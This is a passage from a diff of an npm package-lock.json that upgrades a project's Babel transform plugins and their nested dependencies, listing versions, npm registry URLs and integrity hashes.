- "integrity": "sha512-zwIpuIymb3ACcInbksHaNcR12S++0MDLKkiqXHl3AzpgdKlFNhog+z/K0+TGW+b0w5pgTq4H6IwV/WhxbGYSjQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz",
+ "integrity": "sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA==",
"dev": true,
"requires": {
- "@babel/helper-builder-binary-assignment-operator-visitor": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-for-of": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.9.0.tgz",
- "integrity": "sha512-lTAnWOpMwOXpyDx06N+ywmF3jNbafZEqZ96CGYabxHrxNX8l5ny7dt4bK/rGwAh9utyP2b2Hv7PlZh1AAS54FQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.13.0.tgz",
+ "integrity": "sha512-IHKT00mwUVYE0zzbkDgNRP6SRzvfGCYsOxIRz8KsiaaHCcT9BWIkO+H9QRJseHBLOGBZkHUdHiqj6r0POsdytg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-function-name": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.8.3.tgz",
- "integrity": "sha512-rO/OnDS78Eifbjn5Py9v8y0aR+aSYhDhqAwVfsTl0ERuMZyr05L1aFSCJnbv2mmsLkit/4ReeQ9N2BgLnOcPCQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz",
+ "integrity": "sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ==",
"dev": true,
"requires": {
- "@babel/helper-function-name": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.12.13"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/plugin-transform-literals": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.8.3.tgz",
- "integrity": "sha512-3Tqf8JJ/qB7TeldGl+TT55+uQei9JfYaregDcEAyBZ7akutriFrt6C/wLYIer6OYhleVQvH/ntEhjE/xMmy10A==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz",
+ "integrity": "sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-member-expression-literals": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.8.3.tgz",
- "integrity": "sha512-3Wk2EXhnw+rP+IDkK6BdtPKsUE5IeZ6QOGrPYvw52NwBStw9V1ZVzxgK6fSKSxqUvH9eQPR3tm3cOq79HlsKYA==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz",
+ "integrity": "sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-modules-amd": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.9.6.tgz",
- "integrity": "sha512-zoT0kgC3EixAyIAU+9vfaUVKTv9IxBDSabgHoUCBP6FqEJ+iNiN7ip7NBKcYqbfUDfuC2mFCbM7vbu4qJgOnDw==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.13.0.tgz",
+ "integrity": "sha512-EKy/E2NHhY/6Vw5d1k3rgoobftcNUmp9fGjb9XZwQLtTctsRBOTRO7RHHxfIky1ogMN5BxN7p9uMA3SzPfotMQ==",
"dev": true,
"requires": {
- "@babel/helper-module-transforms": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3",
+ "@babel/helper-module-transforms": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0",
"babel-plugin-dynamic-import-node": "^2.3.3"
}
},
"@babel/plugin-transform-modules-commonjs": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.9.6.tgz",
- "integrity": "sha512-7H25fSlLcn+iYimmsNe3uK1at79IE6SKW9q0/QeEHTMC9MdOZ+4bA+T1VFB5fgOqBWoqlifXRzYD0JPdmIrgSQ==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.13.8.tgz",
+ "integrity": "sha512-9QiOx4MEGglfYZ4XOnU79OHr6vIWUakIj9b4mioN8eQIoEh+pf5p/zEB36JpDFWA12nNMiRf7bfoRvl9Rn79Bw==",
"dev": true,
"requires": {
- "@babel/helper-module-transforms": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-simple-access": "^7.8.3",
+ "@babel/helper-module-transforms": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-simple-access": "^7.12.13",
"babel-plugin-dynamic-import-node": "^2.3.3"
}
},
"@babel/plugin-transform-modules-systemjs": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.9.6.tgz",
- "integrity": "sha512-NW5XQuW3N2tTHim8e1b7qGy7s0kZ2OH3m5octc49K1SdAKGxYxeIx7hiIz05kS1R2R+hOWcsr1eYwcGhrdHsrg==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.13.8.tgz",
+ "integrity": "sha512-hwqctPYjhM6cWvVIlOIe27jCIBgHCsdH2xCJVAYQm7V5yTMoilbVMi9f6wKg0rpQAOn6ZG4AOyvCqFF/hUh6+A==",
"dev": true,
"requires": {
- "@babel/helper-hoist-variables": "^7.8.3",
- "@babel/helper-module-transforms": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3",
+ "@babel/helper-hoist-variables": "^7.13.0",
+ "@babel/helper-module-transforms": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-validator-identifier": "^7.12.11",
"babel-plugin-dynamic-import-node": "^2.3.3"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ }
}
},
"@babel/plugin-transform-modules-umd": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.9.0.tgz",
- "integrity": "sha512-uTWkXkIVtg/JGRSIABdBoMsoIeoHQHPTL0Y2E7xf5Oj7sLqwVsNXOkNk0VJc7vF0IMBsPeikHxFjGe+qmwPtTQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.13.0.tgz",
+ "integrity": "sha512-D/ILzAh6uyvkWjKKyFE/W0FzWwasv6vPTSqPcjxFqn6QpX3u8DjRVliq4F2BamO2Wee/om06Vyy+vPkNrd4wxw==",
"dev": true,
"requires": {
- "@babel/helper-module-transforms": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-module-transforms": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-named-capturing-groups-regex": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.8.3.tgz",
- "integrity": "sha512-f+tF/8UVPU86TrCb06JoPWIdDpTNSGGcAtaD9mLP0aYGA0OS0j7j7DHJR0GTFrUZPUU6loZhbsVZgTh0N+Qdnw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz",
+ "integrity": "sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA==",
"dev": true,
"requires": {
- "@babel/helper-create-regexp-features-plugin": "^7.8.3"
+ "@babel/helper-create-regexp-features-plugin": "^7.12.13"
}
},
"@babel/plugin-transform-new-target": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.8.3.tgz",
- "integrity": "sha512-QuSGysibQpyxexRyui2vca+Cmbljo8bcRckgzYV4kRIsHpVeyeC3JDO63pY+xFZ6bWOBn7pfKZTqV4o/ix9sFw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz",
+ "integrity": "sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-object-super": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.8.3.tgz",
- "integrity": "sha512-57FXk+gItG/GejofIyLIgBKTas4+pEU47IXKDBWFTxdPd7F80H8zybyAY7UoblVfBhBGs2EKM+bJUu2+iUYPDQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz",
+ "integrity": "sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-replace-supers": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13",
+ "@babel/helper-replace-supers": "^7.12.13"
}
},
"@babel/plugin-transform-parameters": {
- "version": "7.9.5",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.9.5.tgz",
- "integrity": "sha512-0+1FhHnMfj6lIIhVvS4KGQJeuhe1GI//h5uptK4PvLt+BGBxsoUJbd3/IW002yk//6sZPlFgsG1hY6OHLcy6kA==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.13.0.tgz",
+ "integrity": "sha512-Jt8k/h/mIwE2JFEOb3lURoY5C85ETcYPnbuAJ96zRBzh1XHtQZfs62ChZ6EP22QlC8c7Xqr9q+e1SU5qttwwjw==",
"dev": true,
"requires": {
- "@babel/helper-get-function-arity": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-property-literals": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.8.3.tgz",
- "integrity": "sha512-uGiiXAZMqEoQhRWMK17VospMZh5sXWg+dlh2soffpkAl96KAm+WZuJfa6lcELotSRmooLqg0MWdH6UUq85nmmg==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz",
+ "integrity": "sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-react-display-name": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.8.3.tgz",
- "integrity": "sha512-3Jy/PCw8Fe6uBKtEgz3M82ljt+lTg+xJaM4og+eyu83qLT87ZUSckn0wy7r31jflURWLO83TW6Ylf7lyXj3m5A==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.13.tgz",
+ "integrity": "sha512-MprESJzI9O5VnJZrL7gg1MpdqmiFcUv41Jc7SahxYsNP2kDkFqClxxTZq+1Qv4AFCamm+GXMRDQINNn+qrxmiA==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-react-jsx": {
- "version": "7.9.4",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.9.4.tgz",
- "integrity": "sha512-Mjqf3pZBNLt854CK0C/kRuXAnE6H/bo7xYojP+WGtX8glDGSibcwnsWwhwoSuRg0+EBnxPC1ouVnuetUIlPSAw==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.13.12.tgz",
+ "integrity": "sha512-jcEI2UqIcpCqB5U5DRxIl0tQEProI2gcu+g8VTIqxLO5Iidojb4d77q+fwGseCvd8af/lJ9masp4QWzBXFE2xA==",
"dev": true,
"requires": {
- "@babel/helper-builder-react-jsx": "^7.9.0",
- "@babel/helper-builder-react-jsx-experimental": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-jsx": "^7.8.3"
+ "@babel/helper-annotate-as-pure": "^7.12.13",
+ "@babel/helper-module-imports": "^7.13.12",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-jsx": "^7.12.13",
+ "@babel/types": "^7.13.12"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/plugin-transform-react-jsx-development": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.9.0.tgz",
- "integrity": "sha512-tK8hWKrQncVvrhvtOiPpKrQjfNX3DtkNLSX4ObuGcpS9p0QrGetKmlySIGR07y48Zft8WVgPakqd/bk46JrMSw==",
+ "version": "7.12.17",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz",
+ "integrity": "sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ==",
"dev": true,
"requires": {
- "@babel/helper-builder-react-jsx-experimental": "^7.9.0",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-jsx": "^7.8.3"
+ "@babel/plugin-transform-react-jsx": "^7.12.17"
}
},
- "@babel/plugin-transform-react-jsx-self": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.9.0.tgz",
- "integrity": "sha512-K2ObbWPKT7KUTAoyjCsFilOkEgMvFG+y0FqOl6Lezd0/13kMkkjHskVsZvblRPj1PHA44PrToaZANrryppzTvQ==",
+ "@babel/plugin-transform-react-pure-annotations": {
+ "version": "7.12.1",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz",
+ "integrity": "sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-jsx": "^7.8.3"
- }
- },
- "@babel/plugin-transform-react-jsx-source": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.9.0.tgz",
- "integrity": "sha512-K6m3LlSnTSfRkM6FcRk8saNEeaeyG5k7AVkBU2bZK3+1zdkSED3qNdsWrUgQBeTVD2Tp3VMmerxVO2yM5iITmw==",
- "dev": true,
- "requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-jsx": "^7.8.3"
+ "@babel/helper-annotate-as-pure": "^7.10.4",
+ "@babel/helper-plugin-utils": "^7.10.4"
}
},
"@babel/plugin-transform-regenerator": {
- "version": "7.8.7",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.8.7.tgz",
- "integrity": "sha512-TIg+gAl4Z0a3WmD3mbYSk+J9ZUH6n/Yc57rtKRnlA/7rcCvpekHXe0CMZHP1gYp7/KLe9GHTuIba0vXmls6drA==",
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.13.15.tgz",
+ "integrity": "sha512-Bk9cOLSz8DiurcMETZ8E2YtIVJbFCPGW28DJWUakmyVWtQSm6Wsf0p4B4BfEr/eL2Nkhe/CICiUiMOCi1TPhuQ==",
"dev": true,
"requires": {
"regenerator-transform": "^0.14.2"
}
},
"@babel/plugin-transform-reserved-words": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.8.3.tgz",
- "integrity": "sha512-mwMxcycN3omKFDjDQUl+8zyMsBfjRFr0Zn/64I41pmjv4NJuqcYlEtezwYtw9TFd9WR1vN5kiM+O0gMZzO6L0A==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz",
+ "integrity": "sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-runtime": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.9.6.tgz",
- "integrity": "sha512-qcmiECD0mYOjOIt8YHNsAP1SxPooC/rDmfmiSK9BNY72EitdSc7l44WTEklaWuFtbOEBjNhWWyph/kOImbNJ4w==",
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.13.15.tgz",
+ "integrity": "sha512-d+ezl76gx6Jal08XngJUkXM4lFXK/5Ikl9Mh4HKDxSfGJXmZ9xG64XT2oivBzfxb/eQ62VfvoMkaCZUKJMVrBA==",
"dev": true,
"requires": {
- "@babel/helper-module-imports": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3",
- "resolve": "^1.8.1",
- "semver": "^5.5.1"
+ "@babel/helper-module-imports": "^7.13.12",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "babel-plugin-polyfill-corejs2": "^0.2.0",
+ "babel-plugin-polyfill-corejs3": "^0.2.0",
+ "babel-plugin-polyfill-regenerator": "^0.2.0",
+ "semver": "^6.3.0"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
}
},
"@babel/plugin-transform-shorthand-properties": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.8.3.tgz",
- "integrity": "sha512-I9DI6Odg0JJwxCHzbzW08ggMdCezoWcuQRz3ptdudgwaHxTjxw5HgdFJmZIkIMlRymL6YiZcped4TTCB0JcC8w==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz",
+ "integrity": "sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-spread": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.8.3.tgz",
- "integrity": "sha512-CkuTU9mbmAoFOI1tklFWYYbzX5qCIZVXPVy0jpXgGwkplCndQAa58s2jr66fTeQnA64bDox0HL4U56CFYoyC7g==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.13.0.tgz",
+ "integrity": "sha512-V6vkiXijjzYeFmQTr3dBxPtZYLPcUfY34DebOU27jIl2M/Y8Egm52Hw82CSjjPqd54GTlJs5x+CR7HeNr24ckg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1"
}
},
"@babel/plugin-transform-sticky-regex": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.8.3.tgz",
- "integrity": "sha512-9Spq0vGCD5Bb4Z/ZXXSK5wbbLFMG085qd2vhL1JYu1WcQ5bXqZBAYRzU1d+p79GcHs2szYv5pVQCX13QgldaWw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz",
+ "integrity": "sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-regex": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-template-literals": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.8.3.tgz",
- "integrity": "sha512-820QBtykIQOLFT8NZOcTRJ1UNuztIELe4p9DCgvj4NK+PwluSJ49we7s9FB1HIGNIYT7wFUJ0ar2QpCDj0escQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.13.0.tgz",
+ "integrity": "sha512-d67umW6nlfmr1iehCcBv69eSUSySk1EsIS8aTDX4Xo9qajAh6mYtcl4kJrBkGXuxZPEgVr7RVfAvNW6YQkd4Mw==",
"dev": true,
"requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-typeof-symbol": {
- "version": "7.8.4",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.8.4.tgz",
- "integrity": "sha512-2QKyfjGdvuNfHsb7qnBBlKclbD4CfshH2KvDabiijLMGXPHJXGxtDzwIF7bQP+T0ysw8fYTtxPafgfs/c1Lrqg==",
+ "version": "7.12.13",
